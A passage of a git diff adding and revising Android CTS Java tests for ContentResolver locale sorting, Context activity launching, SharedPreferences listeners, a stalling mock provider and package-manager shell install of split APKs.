+ assertEquals(TEST_EXCEPTION, new ContentProviderResult(TEST_EXCEPTION).exception);
+ }
+}
diff --git a/tests/tests/content/src/android/content/cts/ContentResolverTest.java b/tests/tests/content/src/android/content/cts/ContentResolverTest.java
index d06514f..f635625 100644
--- a/tests/tests/content/src/android/content/cts/ContentResolverTest.java
+++ b/tests/tests/content/src/android/content/cts/ContentResolverTest.java
@@ -25,6 +25,8 @@
import android.content.res.AssetFileDescriptor;
import android.database.ContentObserver;
import android.database.Cursor;
+import android.icu.text.Collator;
+import android.icu.util.ULocale;
import android.net.Uri;
import android.os.Bundle;
import android.os.CancellationSignal;
@@ -46,6 +48,9 @@
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
@@ -427,6 +432,47 @@
mCursor.close();
}
+ public void testQuery_SqlSortingFromBundleArgs_Locale() {
+ mContentResolver.delete(TABLE1_URI, null, null);
+
+ final List<String> data = Arrays.asList(
+ "ABC", "abc", "pinyin", "가나다", "바사", "테스트", "马",
+ "嘛", "妈", "骂", "吗", "码", "玛", "麻", "中", "梵", "苹果", "久了", "伺候");
+
+ for (String s : data) {
+ final ContentValues values = new ContentValues();
+ values.put(COLUMN_KEY_NAME, s.hashCode());
+ values.put(COLUMN_VALUE_NAME, s);
+ mContentResolver.insert(TABLE1_URI, values);
+ }
+
+ String[] sortCols = new String[] { COLUMN_VALUE_NAME };
+ Bundle queryArgs = new Bundle();
+ queryArgs.putStringArray(ContentResolver.QUERY_ARG_SORT_COLUMNS, sortCols);
+
+ for (String locale : new String[] {
+ "zh",
+ "zh@collation=pinyin",
+ "zh@collation=stroke",
+ "zh@collation=zhuyin",
+ }) {
+ // Assert that sorting is identical between SQLite and ICU4J
+ queryArgs.putString(ContentResolver.QUERY_ARG_SORT_LOCALE, locale);
+ try (Cursor c = mContentResolver.query(TABLE1_URI, sortCols, queryArgs, null)) {
+ data.sort(Collator.getInstance(new ULocale(locale)));
+ assertEquals(data, collect(c));
+ }
+ }
+ }
+
+ private static List<String> collect(Cursor c) {
+ List<String> res = new ArrayList<>();
+ while (c.moveToNext()) {
+ res.add(c.getString(0));
+ }
+ return res;
+ }
+
/**
* Verifies that paging information is correctly relayed, and that
* honored arguments from a supporting client are returned correctly.
@@ -1199,6 +1245,32 @@
mContentResolver.unregisterContentObserver(mco);
}
+ public void testNotifyChange_Multiple() {
+ final MockContentObserver observer1 = new MockContentObserver();
+ final MockContentObserver observer2 = new MockContentObserver();
+
+ mContentResolver.registerContentObserver(TABLE1_URI, true, observer1);
+ mContentResolver.registerContentObserver(TABLE2_URI, true, observer2);
+
+ assertFalse(observer1.hadOnChanged());
+ assertFalse(observer2.hadOnChanged());
+
+ final ArrayList<Uri> list = new ArrayList<>();
+ list.add(TABLE1_URI);
+ list.add(TABLE2_URI);
+ mContentResolver.notifyChange(list, null, 0);
+
+ new PollingCheck() {
+ @Override
+ protected boolean check() {
+ return observer1.hadOnChanged() && observer2.hadOnChanged();
+ }
+ }.run();
+
+ mContentResolver.unregisterContentObserver(observer1);
+ mContentResolver.unregisterContentObserver(observer2);
+ }
+
public void testStartCancelSync() {
Bundle extras = new Bundle();
diff --git a/tests/tests/content/src/android/content/cts/ContentResolverWrapTest.java b/tests/tests/content/src/android/content/cts/ContentResolverWrapTest.java
index 6959014..42675ab 100644
--- a/tests/tests/content/src/android/content/cts/ContentResolverWrapTest.java
+++ b/tests/tests/content/src/android/content/cts/ContentResolverWrapTest.java
@@ -149,18 +149,36 @@
}
@Test
+ public void testInsert_Extras() throws Exception {
+ doReturn(URI).when(mProvider).insert(URI, VALUES, EXTRAS);
+ assertEquals(URI, mResolver.insert(URI, VALUES, EXTRAS));
+ }
+
+ @Test
public void testUpdate() throws Exception {
doReturn(42).when(mProvider).update(URI, VALUES, ARG, ARG_ARRAY);
assertEquals(42, mResolver.update(URI, VALUES, ARG, ARG_ARRAY));
}
@Test
+ public void testUpdate_Extras() throws Exception {
+ doReturn(21).when(mProvider).update(URI, VALUES, EXTRAS);
+ assertEquals(21, mResolver.update(URI, VALUES, EXTRAS));
+ }
+
+ @Test
public void testDelete() throws Exception {
doReturn(42).when(mProvider).delete(URI, ARG, ARG_ARRAY);
assertEquals(42, mResolver.delete(URI, ARG, ARG_ARRAY));
}
@Test
+ public void testDelete_Extras() throws Exception {
+ doReturn(21).when(mProvider).delete(URI, EXTRAS);
+ assertEquals(21, mResolver.delete(URI, EXTRAS));
+ }
+
+ @Test
public void testRefresh() throws Exception {
doReturn(true).when(mProvider).refresh(URI, EXTRAS, SIGNAL);
assertEquals(true, mResolver.refresh(URI, EXTRAS, SIGNAL));
diff --git a/tests/tests/content/src/android/content/cts/ContentValuesTest.java b/tests/tests/content/src/android/content/cts/ContentValuesTest.java
index ea5577d..e6bc2d6 100644
--- a/tests/tests/content/src/android/content/cts/ContentValuesTest.java
+++ b/tests/tests/content/src/android/content/cts/ContentValuesTest.java
@@ -551,4 +551,14 @@
// expected, test success.
}
}
+
+ @Test
+ public void testIsEmpty() {
+ final ContentValues values = new ContentValues();
+ assertTrue(values.isEmpty());
+ values.put("k", "v");
+ assertFalse(values.isEmpty());
+ values.clear();
+ assertTrue(values.isEmpty());
+ }
}
diff --git a/tests/tests/content/src/android/content/cts/ContextTest.java b/tests/tests/content/src/android/content/cts/ContextTest.java
index 6b10df9..5a41584 100644
--- a/tests/tests/content/src/android/content/cts/ContextTest.java
+++ b/tests/tests/content/src/android/content/cts/ContextTest.java
@@ -16,7 +16,11 @@
package android.content.cts;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import android.app.Activity;
import android.app.AppOpsManager;
+import android.app.Instrumentation;
import android.app.WallpaperManager;
import android.content.ActivityNotFoundException;
import android.content.BroadcastReceiver;
@@ -58,6 +62,7 @@
import com.android.compatibility.common.util.PollingCheck;
import com.android.compatibility.common.util.ShellIdentityUtils;
+import com.android.compatibility.common.util.SystemUtil;
import com.android.cts.IBinderPermissionTestService;
import org.xmlpull.v1.XmlPullParser;
@@ -900,12 +905,12 @@
assertNotNull(mContext.getPackageResourcePath());
}
- public void testStartActivity() {
+ public void testStartActivityWithActivityNotFound() {
Intent intent = new Intent(mContext, ContextCtsActivity.class);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
try {
mContext.startActivity(intent);
- fail("Test startActivity should thow a ActivityNotFoundException here.");
+ fail("Test startActivity should throw a ActivityNotFoundException here.");
} catch (ActivityNotFoundException e) {
// Because ContextWrapper is a wrapper class, so no need to test
// the details of the function's performance. Getting a result
@@ -913,6 +918,77 @@
}
}
+ public void testStartActivities() throws Exception {
+ final Intent[] intents = {
+ new Intent().setComponent(new ComponentName(mContext,
+ AvailableIntentsActivity.class)).addFlags(Intent.FLAG_ACTIVITY_NEW_TASK),
+ new Intent().setComponent(new ComponentName(mContext,
+ ImageCaptureActivity.class)).addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ };
+
+ final Instrumentation.ActivityMonitor firstMonitor = getInstrumentation()
+ .addMonitor(AvailableIntentsActivity.class.getName(), null /* result */,
+ false /* block */);
+ final Instrumentation.ActivityMonitor secondMonitor = getInstrumentation()
+ .addMonitor(ImageCaptureActivity.class.getName(), null /* result */,
+ false /* block */);
+
+ mContext.startActivities(intents);
+
+ Activity firstActivity = getInstrumentation().waitForMonitorWithTimeout(firstMonitor, 5000);
+ assertNotNull(firstActivity);
+
+ Activity secondActivity = getInstrumentation().waitForMonitorWithTimeout(secondMonitor,
+ 5000);
+ assertNotNull(secondActivity);
+ }
+
+ public void testStartActivityAsUser() {
+ try (ActivitySession activitySession = new ActivitySession()) {
+ Intent intent = new Intent(mContext, AvailableIntentsActivity.class);
+
+ activitySession.assertActivityLaunched(intent.getComponent().getClassName(),
+ () -> SystemUtil.runWithShellPermissionIdentity(() ->
+ mContext.startActivityAsUser(intent, UserHandle.CURRENT)));
+ }
+ }
+
+ public void testStartActivity() {
+ try (ActivitySession activitySession = new ActivitySession()) {
+ Intent intent = new Intent(mContext, AvailableIntentsActivity.class);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+
+ activitySession.assertActivityLaunched(intent.getComponent().getClassName(),
+ () -> mContext.startActivity(intent));
+ }
+ }
+
+ /**
+ * Helper class to launch / close test activity.
+ */
+ private class ActivitySession implements AutoCloseable {
+ private Activity mTestActivity;
+ private static final int ACTIVITY_LAUNCH_TIMEOUT = 5000;
+
+ void assertActivityLaunched(String activityClassName, Runnable activityStarter) {
+ final Instrumentation.ActivityMonitor monitor = getInstrumentation()
+ .addMonitor(activityClassName, null /* result */,
+ false /* block */);
+ activityStarter.run();
+ // Wait for activity launch with timeout.
+ mTestActivity = getInstrumentation().waitForMonitorWithTimeout(monitor,
+ ACTIVITY_LAUNCH_TIMEOUT);
+ assertNotNull(mTestActivity);
+ }
+
+ @Override
+ public void close() {
+ if (mTestActivity != null) {
+ mTestActivity.finishAndRemoveTask();
+ }
+ }
+ }
+
public void testCreatePackageContext() throws PackageManager.NameNotFoundException {
Context actualContext = mContext.createPackageContext(getValidPackageName(),
Context.CONTEXT_IGNORE_SECURITY);
@@ -930,6 +1006,15 @@
}
}
+ public void testCreateContextAsUser() throws Exception {
+ for (UserHandle user : new UserHandle[] {
+ android.os.Process.myUserHandle(),
+ UserHandle.ALL, UserHandle.CURRENT, UserHandle.SYSTEM
+ }) {
+ assertEquals(user, mContext.createContextAsUser(user, 0).getUser());
+ }
+ }
+
/**
* Helper method to retrieve a valid application package name to use for tests.
*/
diff --git a/tests/tests/content/src/android/content/cts/MockBuggyProvider.java b/tests/tests/content/src/android/content/cts/MockBuggyProvider.java
new file mode 100644
index 0000000..47d83ee
--- /dev/null
+++ b/tests/tests/content/src/android/content/cts/MockBuggyProvider.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.cts;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Mocks a buggy provider which stalls on the {@link #getType(Uri)} call.
+ *
+ * see {@link BuggyProviderTest}
+ */
+public class MockBuggyProvider extends ContentProvider {
+ public static final String AUTHORITY = "android.content.cts.mockbuggyprovider";
+ public static final Uri CONTENT_URI = Uri.parse("content://" + AUTHORITY);
+
+ @Override
+ public boolean onCreate() {
+ return true;
+ }
+
+ @Override
+ public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+ String sortOrder) {
+ return null;
+ }
+
+ @Override
+ public String getType(Uri uri) {
+ try {
+ TimeUnit.SECONDS.sleep(10); // stall for enough time such that an ANR is thrown
+ } catch (Exception ignore) { }
+ return "buggy";
+ }
+
+ @Override
+ public Uri insert(Uri uri, ContentValues values) {
+ return null;
+ }
+
+ @Override
+ public int delete(Uri uri, String selection, String[] selectionArgs) {
+ return 0;
+ }
+
+ @Override
+ public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+ return 0;
+ }
+}
diff --git a/tests/tests/content/src/android/content/cts/MockContentProvider.java b/tests/tests/content/src/android/content/cts/MockContentProvider.java
index d2b613c..ee6d0be 100644
--- a/tests/tests/content/src/android/content/cts/MockContentProvider.java
+++ b/tests/tests/content/src/android/content/cts/MockContentProvider.java
@@ -22,6 +22,7 @@
import android.annotation.Nullable;
import android.content.ContentProvider;
import android.content.ContentProvider.PipeDataWriter;
+import android.content.ContentResolver;
import android.content.ContentUris;
import android.content.ContentValues;
import android.content.Context;
@@ -253,6 +254,33 @@
}
@Override
+ public @Nullable Cursor query(@NonNull Uri uri, @Nullable String[] projection,
+ @Nullable Bundle queryArgs, @Nullable CancellationSignal cancellationSignal) {
+ if (queryArgs != null && queryArgs.containsKey(ContentResolver.QUERY_ARG_SORT_LOCALE)) {
+ final SQLiteDatabase db = mOpenHelper.getReadableDatabase();
+ final String locale = queryArgs.getString(ContentResolver.QUERY_ARG_SORT_LOCALE);
+ final String safeLocale = locale.replaceAll("[^a-zA-Z]", "");
+ try (Cursor c = db.rawQuery("SELECT icu_load_collation(?, ?);",
+ new String[] { locale, safeLocale }, cancellationSignal)) {
+ while (c.moveToNext()) {
+ }
+ }
+
+ final SQLiteQueryBuilder qb = new SQLiteQueryBuilder();
+ qb.setTables("TestTable1");
+ qb.setProjectionMap(CTSDBTABLE1_LIST_PROJECTION_MAP);
+
+ final String sortOrder = TextUtils.join(", ",
+ queryArgs.getStringArray(ContentResolver.QUERY_ARG_SORT_COLUMNS));
+ return qb.query(db, projection, null, null, null, null,
+ sortOrder + " COLLATE " + safeLocale,
+ null, cancellationSignal);
+ } else {
+ return super.query(uri, projection, queryArgs, cancellationSignal);
+ }
+ }
+
+ @Override
public Cursor query(Uri uri, String[] projection, String selection,
String[] selectionArgs, String sortOrder) {
return query(uri, projection, selection, selectionArgs, sortOrder, null);
diff --git a/tests/tests/content/src/android/content/cts/SharedPreferencesTest.java b/tests/tests/content/src/android/content/cts/SharedPreferencesTest.java
index 24b56c9..67ec257 100644
--- a/tests/tests/content/src/android/content/cts/SharedPreferencesTest.java
+++ b/tests/tests/content/src/android/content/cts/SharedPreferencesTest.java
@@ -47,8 +47,6 @@
private File mPrefsFile;
- private static volatile CountDownLatch sSharedPrefsListenerLatch;
-
@Override
protected void setUp() throws Exception {
super.setUp();
@@ -356,35 +354,88 @@
public void testSharedPrefsChangeListenerIsCalledOnCommit() throws InterruptedException {
// Setup on change listener
+ final CountDownLatch latch = new CountDownLatch(2);
+ final SharedPreferences.OnSharedPreferenceChangeListener listener =
+ (sharedPreferences, key) -> latch.countDown();
final SharedPreferences prefs = getPrefs();
- prefs.registerOnSharedPreferenceChangeListener(
- (sharedPreferences, key) -> sSharedPrefsListenerLatch.countDown());
- // Verify listener is called for #putString
- sSharedPrefsListenerLatch = new CountDownLatch(1);
- prefs.edit().putString("test-key", "test-value").commit();
- assertTrue(sSharedPrefsListenerLatch.await(1, TimeUnit.SECONDS));
+ try {
+ prefs.registerOnSharedPreferenceChangeListener(listener);
+ prefs.edit().putString("test-key", "test-value").commit(); // latch--
+ prefs.edit().remove("test-key").commit(); // latch--
- // Verify listener is called for #remove
- sSharedPrefsListenerLatch = new CountDownLatch(1);
- prefs.edit().remove("test-key").commit();
- assertTrue(sSharedPrefsListenerLatch.await(1, TimeUnit.SECONDS));
+ assertTrue("OnSharedPreferenceChangeListener was not fired on #commit",
+ latch.await(10, TimeUnit.SECONDS));
+ } finally {
+ prefs.unregisterOnSharedPreferenceChangeListener(listener);
+ }
}
public void testSharedPrefsChangeListenerIsCalledOnApply() throws InterruptedException {
// Setup on change listener
+ final CountDownLatch latch = new CountDownLatch(2);
+ final SharedPreferences.OnSharedPreferenceChangeListener listener =
+ (sharedPreferences, key) -> latch.countDown();
final SharedPreferences prefs = getPrefs();
- prefs.registerOnSharedPreferenceChangeListener(
- (sharedPreferences, key) -> sSharedPrefsListenerLatch.countDown());
- // Verify listener is called for #putString
- sSharedPrefsListenerLatch = new CountDownLatch(1);
- prefs.edit().putString("test-key", "test-value").apply();
- assertTrue(sSharedPrefsListenerLatch.await(1, TimeUnit.SECONDS));
+ try {
+ prefs.registerOnSharedPreferenceChangeListener(listener);
+ prefs.edit().putString("test-key", "test-value").apply(); // latch--
+ prefs.edit().remove("test-key").apply(); // latch--
- // Verify listener is called for #remove
- sSharedPrefsListenerLatch = new CountDownLatch(1);
- prefs.edit().remove("test-key").apply();
- assertTrue(sSharedPrefsListenerLatch.await(1, TimeUnit.SECONDS));
+ assertTrue("OnSharedPreferenceChangeListener was not fired on #apply",
+ latch.await(10, TimeUnit.SECONDS));
+ } finally {
+ prefs.unregisterOnSharedPreferenceChangeListener(listener);
+ }
+ }
+
+ public void testSharedPrefsChangeListenerIsCalledForClearOnCommit()
+ throws InterruptedException {
+ // Setup on change listener
+ final CountDownLatch latch = new CountDownLatch(1);
+ final SharedPreferences.OnSharedPreferenceChangeListener listener =
+ (sharedPreferences, key) -> {
+ if (key == null) {
+ latch.countDown();
+ }
+ };
+ final SharedPreferences prefs = getPrefs();
+
+ try {
+ prefs.registerOnSharedPreferenceChangeListener(listener);
+ prefs.edit().putString("test-key", "test-value").commit();
+ assertEquals("test-value", prefs.getString("test-key", null));
+ prefs.edit().clear().commit(); // latch--
+
+ assertTrue("OnSharedPreferenceChangeListener was not fired for clear() on #commit",
+ latch.await(10, TimeUnit.SECONDS));
+ } finally {
+ prefs.unregisterOnSharedPreferenceChangeListener(listener);
+ }
+ }
+
+ public void testSharedPrefsChangeListenerIsCalledForClearOnApply() throws InterruptedException {
+ // Setup on change listener
+ final CountDownLatch latch = new CountDownLatch(1);
+ final SharedPreferences.OnSharedPreferenceChangeListener listener =
+ (sharedPreferences, key) -> {
+ if (key == null) {
+ latch.countDown();
+ }
+ };
+ final SharedPreferences prefs = getPrefs();
+
+ try {
+ prefs.registerOnSharedPreferenceChangeListener(listener);
+ prefs.edit().putString("test-key", "test-value").commit();
+ assertEquals("test-value", prefs.getString("test-key", null));
+ prefs.edit().clear().apply(); // latch--
+
+ assertTrue("OnSharedPreferenceChangeListener was not fired for clear() on #apply",
+ latch.await(10, TimeUnit.SECONDS));
+ } finally {
+ prefs.unregisterOnSharedPreferenceChangeListener(listener);
+ }
}
}
diff --git a/tests/tests/content/src/android/content/cts/SyncStorageEngineTest.java b/tests/tests/content/src/android/content/cts/SyncStorageEngineTest.java
index 457c1b6..47bc102 100644
--- a/tests/tests/content/src/android/content/cts/SyncStorageEngineTest.java
+++ b/tests/tests/content/src/android/content/cts/SyncStorageEngineTest.java
@@ -17,30 +17,16 @@
package android.content.cts;
import android.accounts.Account;
-import android.content.ComponentName;
-import android.content.ContentResolver;
-import android.content.Context;
-import android.content.ContextWrapper;
-import android.content.Intent;
-import android.content.PeriodicSync;
-import android.content.res.Resources;
import android.content.SyncStatusInfo;
-import android.os.Bundle;
import android.os.Looper;
import android.platform.test.annotations.AppModeFull;
import android.test.AndroidTestCase;
-import android.test.RenamingDelegatingContext;
-import android.test.mock.MockContentResolver;
-import android.test.mock.MockContext;
-import android.test.suitebuilder.annotation.LargeTest;
-import android.test.suitebuilder.annotation.MediumTest;
-import android.test.suitebuilder.annotation.SmallTest;
+import android.util.AtomicFile;
+
import com.android.server.content.SyncStorageEngine;
-import com.android.internal.os.AtomicFile;
import java.io.File;
import java.io.FileOutputStream;
-import java.util.List;
@AppModeFull(reason = "Sync manager not supported")
public class SyncStorageEngineTest extends AndroidTestCase {
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
new file mode 100644
index 0000000..89db80c
--- /dev/null
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
@@ -0,0 +1,434 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.pm.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.Arrays;
+import java.util.Optional;
+
+@RunWith(AndroidJUnit4.class)
+@AppModeFull // TODO(Instant) Figure out which APIs should work.
+public class PackageManagerShellCommandTest {
+
+ private static final String TEST_APP_PACKAGE = "com.example.helloworld";
+
+ private static final String TEST_APK_PATH = "/data/local/tmp/cts/content/";
+ private static final String TEST_HW5 = "HelloWorld5.apk";
+ private static final String TEST_HW5_SPLIT0 = "HelloWorld5_hdpi-v4.apk";
+ private static final String TEST_HW5_SPLIT1 = "HelloWorld5_mdpi-v4.apk";
+ private static final String TEST_HW5_SPLIT2 = "HelloWorld5_xhdpi-v4.apk";
+ private static final String TEST_HW5_SPLIT3 = "HelloWorld5_xxhdpi-v4.apk";
+ private static final String TEST_HW5_SPLIT4 = "HelloWorld5_xxxhdpi-v4.apk";
+ private static final String TEST_HW7 = "HelloWorld7.apk";
+ private static final String TEST_HW7_SPLIT0 = "HelloWorld7_hdpi-v4.apk";
+ private static final String TEST_HW7_SPLIT1 = "HelloWorld7_mdpi-v4.apk";
+ private static final String TEST_HW7_SPLIT2 = "HelloWorld7_xhdpi-v4.apk";
+ private static final String TEST_HW7_SPLIT3 = "HelloWorld7_xxhdpi-v4.apk";
+ private static final String TEST_HW7_SPLIT4 = "HelloWorld7_xxxhdpi-v4.apk";
+
+ private static String executeShellCommand(String command) throws IOException {
+ final ParcelFileDescriptor stdout =
+ InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
+ command);
+ try (InputStream inputStream = new ParcelFileDescriptor.AutoCloseInputStream(stdout)) {
+ return readFullStream(inputStream);
+ }
+ }
+
+ private static String executeShellCommand(String command, File input)
+ throws IOException {
+ final ParcelFileDescriptor[] pfds =
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .executeShellCommandRw(command);
+ ParcelFileDescriptor stdout = pfds[0];
+ ParcelFileDescriptor stdin = pfds[1];
+ try (FileInputStream inputStream = new FileInputStream(input);
+ FileOutputStream outputStream = new ParcelFileDescriptor.AutoCloseOutputStream(
+ stdin)) {
+ writeFullStream(inputStream, outputStream, input.length());
+ }
+ try (InputStream inputStream = new ParcelFileDescriptor.AutoCloseInputStream(stdout)) {
+ return readFullStream(inputStream);
+ }
+ }
+
+ private static String readFullStream(InputStream inputStream) throws IOException {
+ ByteArrayOutputStream result = new ByteArrayOutputStream();
+ writeFullStream(inputStream, result, -1);
+ return result.toString("UTF-8");
+ }
+
+ private static void writeFullStream(InputStream inputStream, OutputStream outputStream,
+ long expected)
+ throws IOException {
+ byte[] buffer = new byte[1024];
+ long total = 0;
+ int length;
+ while ((length = inputStream.read(buffer)) != -1) {
+ outputStream.write(buffer, 0, length);
+ total += length;
+ }
+ if (expected > 0) {
+ assertEquals(expected, total);
+ }
+ }
+
+ @Before
+ public void checkNotInstalled() throws Exception {
+ assertFalse(isAppInstalled(TEST_APP_PACKAGE));
+ }
+
+ @After
+ public void uninstall() throws Exception {
+ uninstallPackage(TEST_APP_PACKAGE);
+ assertFalse(isAppInstalled(TEST_APP_PACKAGE));
+ assertEquals(null, getSplits(TEST_APP_PACKAGE));
+ }
+
+ @Test
+ public void testAppInstall() throws Exception {
+ installPackage(TEST_HW5);
+ assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+ }
+
+ @Test
+ public void testAppInstallStdIn() throws Exception {
+ installPackageStdIn(TEST_HW5);
+ assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+ }
+
+ @Test
+ public void testAppUpdate() throws Exception {
+ installPackage(TEST_HW5);
+ assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+ installPackage(TEST_HW7);
+ assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+ }
+
+ @Test
+ public void testAppUpdateStdIn() throws Exception {
+ installPackageStdIn(TEST_HW5);
+ assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+ installPackageStdIn(TEST_HW7);
+ assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+ }
+
+ @Test
+ public void testSplitsInstall() throws Exception {
+ installSplits(new String[]{TEST_HW5, TEST_HW5_SPLIT0, TEST_HW5_SPLIT1, TEST_HW5_SPLIT2,
+ TEST_HW5_SPLIT3, TEST_HW5_SPLIT4});
+ assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+ assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+ getSplits(TEST_APP_PACKAGE));
+ }
+
+ @Test
+ public void testSplitsInstallStdIn() throws Exception {
+ installSplitsStdIn(new String[]{TEST_HW5, TEST_HW5_SPLIT0, TEST_HW5_SPLIT1, TEST_HW5_SPLIT2,
+ TEST_HW5_SPLIT3, TEST_HW5_SPLIT4}, "");
+ assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+ assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+ getSplits(TEST_APP_PACKAGE));
+ }
+
+ @Test
+ public void testSplitsInstallDash() throws Exception {
+ installSplitsStdIn(new String[]{TEST_HW5, TEST_HW5_SPLIT0, TEST_HW5_SPLIT1, TEST_HW5_SPLIT2,
+ TEST_HW5_SPLIT3, TEST_HW5_SPLIT4}, "-");
+ assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+ assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+ getSplits(TEST_APP_PACKAGE));
+ }
+
+ @Test
+ public void testSplitsBatchInstall() throws Exception {
+ installSplitsBatch(new String[]{TEST_HW5, TEST_HW5_SPLIT0, TEST_HW5_SPLIT1, TEST_HW5_SPLIT2,
+ TEST_HW5_SPLIT3, TEST_HW5_SPLIT4});
+ assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+ assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+ getSplits(TEST_APP_PACKAGE));
+ }
+
+ @Test
+ public void testSplitsUpdate() throws Exception {
+ installSplits(new String[]{TEST_HW5, TEST_HW5_SPLIT0, TEST_HW5_SPLIT1, TEST_HW5_SPLIT2,
+ TEST_HW5_SPLIT3, TEST_HW5_SPLIT4});
+ assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+ assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+ getSplits(TEST_APP_PACKAGE));
+ installSplits(new String[]{TEST_HW7, TEST_HW7_SPLIT0, TEST_HW7_SPLIT1, TEST_HW7_SPLIT2,
+ TEST_HW7_SPLIT3, TEST_HW7_SPLIT4});
+ assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+ assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+ getSplits(TEST_APP_PACKAGE));
+ }
+
+ @Test
+ public void testSplitsUpdateStdIn() throws Exception {
+ installSplitsStdIn(new String[]{TEST_HW5, TEST_HW5_SPLIT0, TEST_HW5_SPLIT1, TEST_HW5_SPLIT2,
+ TEST_HW5_SPLIT3, TEST_HW5_SPLIT4}, "");
+ assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+ assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+ getSplits(TEST_APP_PACKAGE));
+ installSplitsStdIn(new String[]{TEST_HW7, TEST_HW7_SPLIT0, TEST_HW7_SPLIT1, TEST_HW7_SPLIT2,
+ TEST_HW7_SPLIT3, TEST_HW7_SPLIT4}, "");
+ assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+ assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+ getSplits(TEST_APP_PACKAGE));
+ }
+
+ @Test
+ public void testSplitsUpdateDash() throws Exception {
+ installSplitsStdIn(new String[]{TEST_HW5, TEST_HW5_SPLIT0, TEST_HW5_SPLIT1, TEST_HW5_SPLIT2,
+ TEST_HW5_SPLIT3, TEST_HW5_SPLIT4}, "-");
+ assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+ assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+ getSplits(TEST_APP_PACKAGE));
+ installSplitsStdIn(new String[]{TEST_HW7, TEST_HW7_SPLIT0, TEST_HW7_SPLIT1, TEST_HW7_SPLIT2,
+ TEST_HW7_SPLIT3, TEST_HW7_SPLIT4}, "-");
+ assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+ assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+ getSplits(TEST_APP_PACKAGE));
+ }
+
+ @Test
+ public void testSplitsBatchUpdate() throws Exception {
+ installSplitsBatch(new String[]{TEST_HW5, TEST_HW5_SPLIT0, TEST_HW5_SPLIT1, TEST_HW5_SPLIT2,
+ TEST_HW5_SPLIT3, TEST_HW5_SPLIT4});
+ assertTrue(isAppInstalled(TEST_APP_PACKAGE));
+ assertEquals("base, config.hdpi, config.mdpi, config.xhdpi, config.xxhdpi, config.xxxhdpi",
+ getSplits(TEST_APP_PACKAGE));
+ installSplitsBatch(new String[]{TEST_HW7, TEST_HW7_SPLIT0, TEST_HW7_SPLIT1, TEST_HW7_SPLIT2,
